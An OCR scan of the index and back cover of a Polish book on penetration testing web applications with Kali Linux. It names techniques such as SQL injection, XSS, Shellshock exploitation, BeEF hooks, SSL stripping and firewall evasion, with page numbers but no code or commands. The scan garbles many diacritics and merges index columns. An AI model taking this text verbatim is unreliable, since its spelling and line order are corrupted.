kolizyjne, 189
na DOM, 161
na grube ryby, 29
na klienta, 112
na Mutillidae, 221
na serwer, 127
na witryny SSL, 183
oparte na inzynierii spolecznej, 28
polegajace na dolaczaniu plikéw, 120
z ukrycia, 27
z wykorzystaniem
luki Shellshock, 140
identyfikatoréw sesji, 117
strony internetowej, 209
telefonu, 28
narzedzia Metasploit, 140
audyty bezpieczefistwa, 22
automat sqlmap, 147
automatyzacja skanowania, 91

baza danych Whois, 66
BBQSQL, 150
BeEF
atak na Mutillidae, 221
informacji o hoscie, 219
modul trwalosci, 219
moduly eksploitéw, 218
rekonesans sieciowy, 219
wstrzykiwanie uchwytu, 215
wstrzykiwanie zaczepu, 223
BeEF, Browser Exploitation Framework, 214
btedy konfiguracyjne, 89
Browser Exploitation Framework, 214
budowa aplikacji sieciowych, 29
Burp, 50, 52, 94
przegladanie $ciezki, 107

C

ciasteczka, 35, 87
do uwierzytelniania, 133
parametry, 37
nietrwale, 36
trwale, 36
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CSREF, cross-site request forgery, 114
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HTML-a, 37
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DES, Data Encryption Standard, 188
DHTML, 229
DirBuster

przegladanie katalogéw, 100
DNS, 67
dodatek

AJAX Spider, 236

Developer, 240

Firebug, 237
dotgczanie plik6w

lokalnych, 119

zdalnych, 119
DOM, Document Object Model, 157, 229
dostep do zadan AJAX, 233
dzialanie technologii AJAX, 229
dzielenie odpowiedzi HTTP, 123

E

eksploity, 25
etapy fuzzingu, 253
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falszowanie adresu MAC, 77
Firebug, 237
okienko Console, 239
okienko Network, 240
okienko Script, 239
framework, 203
Browser Exploitation Framework, 214
frameworki fuzzingowe, 252
funkcja
przywracania, 48
SAN, 72
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fuzzing
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generacyjny, 250

interfejsu uzytkownika, 251
mutacyjny, 249

plikéw, 251

protokotu sieciowego, 250
przegladarek internetowych, 251
przy uzyciu intrudera Burp, 257
testowanie aplikacji, 254
zastosowania, 250

haker, 21
haking etyczny, 20, 22
HSTS, HTTP Strict Transport Security, 200

IDEA, International Data Encryption Algorithm,
188
identyfikacja
hostéw, 67
hostéw wirtualnych, 83
metod HTTP, 89
parametréw, 129
systemoéw
CMS, 56
zarzadzania obcigzeniem, 88
systemu operacyjnego, 78
wersji aplikacji, 79, 81
identyfikator sesji, 117
informacje
o domenie, 65, 66
o hoscie, 219
instalowanie Kali Linuksa, 43
Amazon Cloud, 46
na dysku twardym, 47
obraz ARM, 46
obraz VMware, 46
tryb USB, 43
instrukcje SQL, 142
intruder, 257
inzynieria spoteczna
ataki, 28
szkolenia, 29
IPEC, Inter-Protocol Exploitation and
Communication, 220
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Java Applet Attack, 209
JavaScript, 156, 229

Kali Linux, 41
instalowanie, 43
narzedzia, 49
udoskonalenia, 42

klucze do API, 70

komentarze w kodzie HTML-a, 101

komunikaty o bledach, 130

konfiguracja
intrudera, 257
srodowiska pracy, 41
Tora, 58

kradziez
ciasteczek, 165
tokenéw, 116

L

LFI, Local File Include, 119
logowanie, 96
lokalizowanie wirtualnych hostéw, 83
luka

dotyczaca sesji, 115

Shellshock, 138

typu SQL injection, 144, 146

typu XSRF, 178, 180

typu XSS, 114, 167

zwigzana z dolaczaniem plikéw, 119

14

lamanie
hasel, 103, 104
token6w, 116

M

MAC, Message Authentication Code, 189
maszyna wirtualna PHP HHVM, 81
mechanizm
zabezpieczen HSTS, 200
uwierzytelniania, 102
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wtyczka WMAP, 91
Metasploit Browser Exploit, 212
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metoda

brute force, 103

DELETE, 34

GET, 33
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POST, 33, 164
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mieszanie, 189
modul

Geocoder, 73

LinkedIn Authenticated Contact Enumerator,

73

Netcraft Hostname Enumerator, 72

PInfoDB GeolP, 73

Pushpin, 73

Reverse Geocoder, 73

SSL SAN Lookup, 72

Yahoo! Hostname Enumerator, 73
moduly Metasploita, 90
modyfikowanie zadan w locie, 51

nagléwek, 255
HTTP, 81
odpowiedzi, 32
zadania, 31
narzedzia, 49
dla programistéw, 240
do analizy tokenéw, 117
do identyfikacji systeméw CMS, 56
proxy, 53
socjotechniczne, 205
narzedzie
ACT, 235
Amap, 78
Burp, 50, 87, 107
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dig, 67

dirb, 140
DirBuster, 54, 100
Hydra, 104
MITMH, 223
Nikto, 53

Nmap, 68
OpenSSL, 190, 191
OpenVAS, 54
PowerFuzzer, 262
ProxyStrike, 53
Recon-ng, 69
SET, 205
Skipfish, 54
Sprajax, 235
sqlmap, 147
sqlninja, 152
sqlsus, 151
SSLScan, 193
SSLsplit, 198
SSLstrip, 199
SSLyze, 194

Tor, 57

w3af, 174

Wapiti, 131
WebScarab, 53
WhatWeb, 82
XSSer, 172

Zed Attack Proxy, 53, 167

nienaruszalnosé danych, 189
Nmap, 68

identyfikowanie

metod HTTP, 89

systemu operacyjnego, 78
opcje skanowania, 74
skanowanie

portow, 74

wersji, 79
testowanie konfiguracji SSL, 195
unikanie

urzadzen IPS, 75

zap6r sieciowych, 75
wykrywanie zapory, 77

numery portéw, 76
nurkowanie w §mieciach, 28
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0

obiektowy model dokumentu, DOM, 157
obraz
ARM, 46
VMware, 46
ocena podatnosci, 22
oddzielanie polecen, 130
odwolania do obiektéw, 244
ograniczenia testow penetracyjnych, 25
okienko
Console, 239
Network, 240
Script, 239
opcje
przechwytywania zadan, 51
skanowania portéw, 74
OpenSSL, 190
operator UNION, 143
oszustwa e-mailowe, 28

P

pajak Burpa, 94
pakiet narzedzi socjotechnicznych, 205
parametry ciasteczek, 37
pentester, 24
plan operacji, 23
pola formularzy, 256
polecenie dig, 67
posrednik

Burp, 50

ProxyStrike, 53
posredniki aplikacji sieciowych, 49
poufne dane, 24
PowerFuzzer, 262
powiadamianie dziatu IT, 24
powloka PHP, 135
proces szyfrowania SSL, 186
profilowanie serwera, 79
protokoly uwierzytelniania, 102
protokot

HTTP, 30

SSL, 52, 185

uzgadniania kluczy Diffiego-Hellmana, 187
ProxyStrike, 53
przechwytywanie token6w, 116
przegladanie

Sciezki, 105, 109

zawarto$ci katalogéw, 100
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przekierowanie, 88
przeplyw ciasteczek, 36
przesylanie tokena, 117
przeszukiwanie aplikacji
AJAX, 234
sieciowych, 94

R

raportowanie moduléw, 72

raporty graficzne, 93

RC4, Rivest Cipher 4, 188

Recon-ng, 69
moduly rekonesansowe, 72
raportowanie moduléw, 72
wyszukiwanie wirtualnych hostéw, 85
znajdowanie domen, 70
znajdowanie poddomen, 71

reguly zapory, 76

rejestrowanie naciskanych klawiszy, 166

rekonesans, 64, 98
aktywny, 64
pasywny, 64
sieciowy, 219

REST, 241

RFI, Remote File Include, 119

rodzaje ustug sieciowych, 241

rozmiar pakietu, 76

réwnowazenie obcigzenia, 86

S

SAN, subject alternative names, 72
serwer DNS, 67
sesje, 115
SET, Social-Engineer Toolkit, 205
SHA, Secure Hash Algorithm, 189
sieciowy skaner, 53
skaner luk bezpieczenstwa
DirBuster, 54
Nikto, 53
OpenVAS, 54
Skipfish, 54
skanowanie
luk, 93
portéw, 74
serwer6w sieciowych, 89
wersji, 79, 81
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Skipfish
raporty graficzne, 93
skanowanie luk, 93
sktadniki technologii AJAX, 229
stabe implementacje SSL, 190
sniffing, 183
SOAP, 241
socjotechnika, 204
spotkania sprawozdawcze, 24
Sprajax, 235
spreparowane identyfikatory sesji, 117
SQL injection, 142
sqlmap, 147
sqlninja, 152
sqlsus, 151
SSL, Secure Socket Layer, 184
SSLScan, 193
SSLsplit, 198
SSLstrip, 199

SSLyze, 194
system
CMS, 56

gromadzenia informacji, 69

zarzadzania obcigzeniem, 87, 88
szkodliwe pamieci USB, 29
szukanie luk typu XSRF, 180
szyfrowanie, 183

asymetryczne, 187

SSL, 186

symetryczne, 187
szyfry

blokowe, 188

strumieniowe, 188

W

Sledzenie sesji, 35
slepe ataki, 145
srodowisko pracy, 41

T

Tabnabbing Attack, 212
technika

ataku, 179

brutalnej sity, 68
technologia AJAX, 228, 229, 231
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testowanie
aplikacji, 146
fuzzingowe, 254
konfiguracji SSL, 195
na zasadzie czarnej skrzynki, 23
na zasadzie szarej skrzynki, 23
serweréw sieciowych, 90
wejscia aplikacji sieciowych, 254
zabezpieczen, 20
testy penetracyjne, 20, 22
aplikacji AJAX, 234
ograniczenia, 25
token, 116
Tor, 57
wizualizacja zadania sieciowego, 60
transfer strefy, 67
tryb USB, 43
tworzenie eksploitéw, 25
typy
atakéw XSS, 159
technik fuzzingu, 249

U

ujawnienie logiki aplikacji, 233
unikanie

urzadzen IPS, 75

zapOr sieciowych, 75
URI zadan, 255
uruchamianie Wapiti, 133
ustugi sieciowe, 227, 240
ustawianie rozmiaru pakietu, 76
uwierzytelnianie, 102

Digest, 103

podstawowe, 103

z uzyciem formularza, 103

zintegrowane, 103

W

waf, 174
interfejs graficzny, 176
wtyczki, 175
wady aplikacji sieciowych, 99
Wapiti, 131
warstwa
aplikacji, 38
dostepu do danych, 38
prezentacyjna, 38
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wartosé MTU, 76 Z
warunki powodzenia ataku, 179
Web Jacking Attack, 211 zabezpieczanie ustug sieciowych, 243
WebScarab, 53 zapewnianie nienaruszalnosci danych, 189
wielowarstwowe aplikacje sieciowe, 38 zapora, 77
wirtualizacja Kali Linuksa, 48 aplikacji sieciowej, 89
wirtualne hosty witryn, 83 zapytanie SQL, 144
wizualizacja zadania sieciowego, 60 zarzadzanie obcigzeniem, 88
wlasna wartos¢ MTU, 76 zastosowania fuzzingu, 250
wstrzykiwanie zatruwanie parametréw HTTP, 120
danych, 129 zbieranie informacji, 65, 69
kodu SQL, 110 Zed Attack Proxy, 53, 167
polecen, 109, 128-134 okreslanie zakresu, 169
uchwytu BeEF, 215, 223 polityka skanowania, 171
wstrzykniecia Slepe, 130 tryby dziatania, 170
wycieki informacji, 100 wybér trybéw, 169
wykorzystywanie luki Shellshock, 138 zmiana wygladu witryny, 166
wykrywacz systeméw zarzadzania obcigzeniem, znacznik
89 body, 157
wykrywanie img, 157
wynikéw fuzzingu, 256 script, 157
zapory, 77 znajdowanie
domen, 70
X poddomen, 71

zwiekszenie powierzchni ataku, 232
XSF, Cross-Site Faxing, 220
XSRF, cross-site request forgery, 155, 178 2
XSS, cross-site scripting, 112, 155
XSSer, 172 zadania klientéw, 51
funkcje, 173
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Kali Linux

Testy penetracyjne
Wydanie i

Testowanie bezpieczeristwa aplikacji sieciowych wymaga
starannosci oraz aktualnej i praktycznej wiedzy. Bardzo dobrym
narzedziem do tego celu jest Kali Linux — popularna dystrybu-
cja BackTrack systemu Linux, stuzaca do wykonywania audy-
téw bezpieczeristwa. Zawiera liczne narzedzia umozliwiajace
zaawansowane testowanie zabezpieczen, w tym skuteczne
testy penetracyjne i techniki inzynierii wstecznej. Pozwala na
zdiagnozowanie i wykorzystanie stabych stron aplikacji, co

z kolei umozliwia usuniecie usterek i osiggniecie wysokiego
stopnia bezpieczeristwa.

Niniejsza ksigzka jest znakomitym przewodnikiem dla
pentesteréw. Wyjasniono w niej podstawowe pojecia hakingu
i testowania penetracyjnego. Szczegdtowo opisano luki
bezpieczenstwa umozliwiajace wstrzykiwanie do aplikacji
kodu SQL i polecen. Omowiono czesto spotykane wady
skryptow i mechanizméw weryfikacji danych, jak réwniez
kwestie bezpieczenstwa w odniesieniu do technologii AJAX.
Przedstawiono takze technike identyfikacji luk w aplikacjach
sieciowych (fuzzing). Przede wszystkim zas pokazano, w jaki
sposob wykorzystac opisane stabe strony za pomoca narzedzi
dostepnych w Kali Linux 2.0 i pokona¢ zabezpieczenia aplikacji.

Poznaj Kali Linux
— co$ dla hakera i pentestera!
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W ksiazce znajdziesz:

metodyki testow penetracyjnych
aktywny i pasywny rekonesans
sieciowy

wstrzykiwanie kodu,

ataki XSS i CSRF

hakowanie potaczen SSL

ataki z wykorzystaniem

Social Engineering Toolkit (SET)

i Browser Exploitation Framework
(BeEF)

Juned Ahmed Ansari jest ekspertem
w zakresie bezpieczenistwa cyberne-
tycznego. Zajmuje sie testami pene-
tracyjnymi, analiza zagrozen, offensive
security i badaniami w dziedzinie
bezpieczenstwa aplikagji. Jest posia-
daczem najwazniejszych certyfikatow
branzowych, takich jak GXPN, CISSP,
CCSKi CISA. Udziela konsultagji

i prowadzi sesje szkoleniowe dotyczace
bezpieczenstwa informatycznego.

283-3214-0




